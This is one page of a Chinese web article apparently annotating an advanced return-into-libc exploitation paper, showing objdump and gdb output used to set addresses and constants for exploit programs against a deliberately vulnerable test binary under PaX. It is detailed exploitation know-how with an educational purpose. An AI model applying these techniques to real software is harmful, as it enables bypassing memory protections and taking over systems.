打印本文 打印本文 关闭窗口 关闭窗口
高级返回库函数exploit代码实现
作者:武汉SEO闵涛  文章来源:敏韬网  点击数7962  更新时间:2009/4/25 0:45:30  文章录入:mintao  责任编辑:mintao
编程序vuln.omit中ret部分)
...省略一些无关输出
--
 80484be:       83 c4 2c                add    $0x2c,%esp
 ~~~~~~~~(这是出栈前,add指令中的栈指针地址)   ~~~~~~(POPNUM的数值) 80484c1:       c3                      ret
~~~~~~~~~("ret"指令的地址)
--
 80484fe:       5d                      pop    %ebp
 80484ff:       c3                      ret
--
...省略一些无关输出

5) FRAMES
现在我们要找出,在堆栈溢出发生后,堆栈指针的数值。我们要做的事情是让有缺陷的程序vuln.omit发生段错误(core dumped),通过产生的core文件调试该缺陷程序,以获得FRAMES的预定义数值。我们的exploit代码ex-move.c中的参数"testing"将0x5060708保存在指令指针中,我们只需要这样做:
[nergal@behemoth pax]$ ./ex-move testing
Segmentation fault (core dumped) <------------- 发生了溢出,进行下一步gbd
[nergal@behemoth pax]$ gdb ./vuln.omit core 
(no debugging symbols found)...
Core was generated by ./vuln.omit''''.
Program terminated with signal 11, Segmentation fault.
#0  0x5060708 in ?? ()
      ~~~~~~~~~(和ex-move的指令指针数值一样,如果该数值大于了0x5060708,意味着需要调整堆栈,同时exploit代码ex-move.c中定义结构体ov中的数组"scratch"需要做一定的调整。)
(gdb) info regi(*显示寄存器中的数值)
...
esp            0xbffffde0       0xbffffde0
                                ~~~~~~~~~~(堆栈指针数值:这就是我们要找的FEAMES数值)
...
经过一番曲折,总算完成了exploit代码ex-move.c中的预定义。
现在来看攻击没有使用最优化选项编译的缺陷程序的exploit代码:ex-frame.c

II. ex-frame.c
~~~~~~~~~~~~~~  
哇靠,还要做调整阿,废话:)LIBC, STRCPY, MMAP, LEAVERET 和FRAMES需要适当调整,和ex-move.c中方法差不多,LIBC,STRCPY, MMAP 以及 FRAMES也是这样。
LEAVERET的地址是"leave; ret"指令序列的地址。找它的方法和前面一样,同样使用objdump --disassemble 命令。
[nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
objdump: vuln: no symbols
 8048335:       c9                      leave
 8048336:       c3                      ret
--
 80484bd:       c9                      leave
 ~~~~~~~(由3.3节帧伪造可以知道第2帧的leave地址是我们需要的)
 80484be:       c3                      ret
--
 8048518:       c9                      leave
 8048519:       c3                      ret


III. dl-resolve.c
~~~~~~~~~~~~~~~~~
需要对代码中预定义的STRTAB, SYMTAB, JMPREL, VERSYM 和PLT_SECTION常数数值进行调整
由于dl-resolve.c2进制本身关系 ,需要进行两次编译。第一次编译,我们只需#define dummy 值。然后打入下面命令:
[nergal@behemoth pax]$ objdump -x dl-resolve
        输出下面的信息(动态符号表、串表,重定位入口,etc):
[...无关信息...]
动态段区域:
  NEEDED      libc.so.6
  INIT        0x804839c
  FINI        0x80486ec
  HASH        0x8048128
  STRTAB      0x8048240   (得到串表STRTAB地址)
  SYMTAB      0x8048170   (得到符号表SYMTAB地址)
  STRSZ       0xa1
  SYMENT      0x10
  DEBUG       0x0
  PLTGOT      0x80497a8
  PLTRELSZ    0x48
  PLTREL      0x11
  JMPREL      0x8048354   (得到JMPREL地址,和PLT地址有关联)
  REL         0x8048344
  RELSZ       0x10
  RELENT      0x8
  VERNEED     0x8048314
  VERNEEDNUM  0x1
  VERSYM      0x80482f8   (得到VERSYM符号版本地址)

       
"objdump -x"命令输出过程连接表(PLT)段区域
[...无关信息...]
段区域:
  索引名称            Size      VMA       LMA       File off  Algn
  0 .interp中断段    00000013  080480f4  080480f4  000000f4  2**0
...
 11 .plt过程连接表段 000000a0  080483cc  080483cc  000003cc  2**2
                              ~~~~|~~~~~~~~~~~~~~                               
                                  --该地址为plt入口地址,得到预定义PLT_SECTION数值
                    CONTENTS, ALLOC, LOAD, READONLY, CODE
再次编译代码dl-resolve.c ,最后我们可以看到象下面:
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123)                              = ?    
这样,mmap()被调用,虽然它不在dl-resolve.c的PLT入口。当然我们可以增加到shellcode中执行,但是没有多大必要对只是证明该理论而编写。

IV. icebreaker.c
~~~~~~~~~~~~~~~~
9个预定义需要被调整,两个固定:FRAMESINDATA 和 VIND.
1) FRAMESINDATA
这是定位或者从内存中划分伪造帧拷贝的静态变量,在pax.c,我们需要找到"bigbuf"数组的地址,如果被攻击的2进制文件没有被脱壳,那么很容易得到该地址,反之,我们必须分析反汇编的输出,在pax.c中13行,"bigbuf"变量在"strncat"函数的参数中出现,如下:
strncat(bigbuf, ptr, sizeof(bigbuf)-1);
那么,我们需要找到strncat函数地址:
[nergal@behemoth pax]$ objdump -T pax | grep strncat
0804836c      DF *UND*  0000009e  GLIBC_2.0   strncat
~~~~~~~~(strncat 函数地址)
[nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3  <- _not_ 0804836c(*反汇编pax,通过strncat地址,找到bigbuf的地址)
objdump: pax: no symbols
 8048362:       ff 25 c8 95 04 08       jmp    *0x80495c8
 8048368:       00 00                   add    %al,(%eax)
&n

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ...  下一页 >> 

打印本文 打印本文 关闭窗口 关闭窗口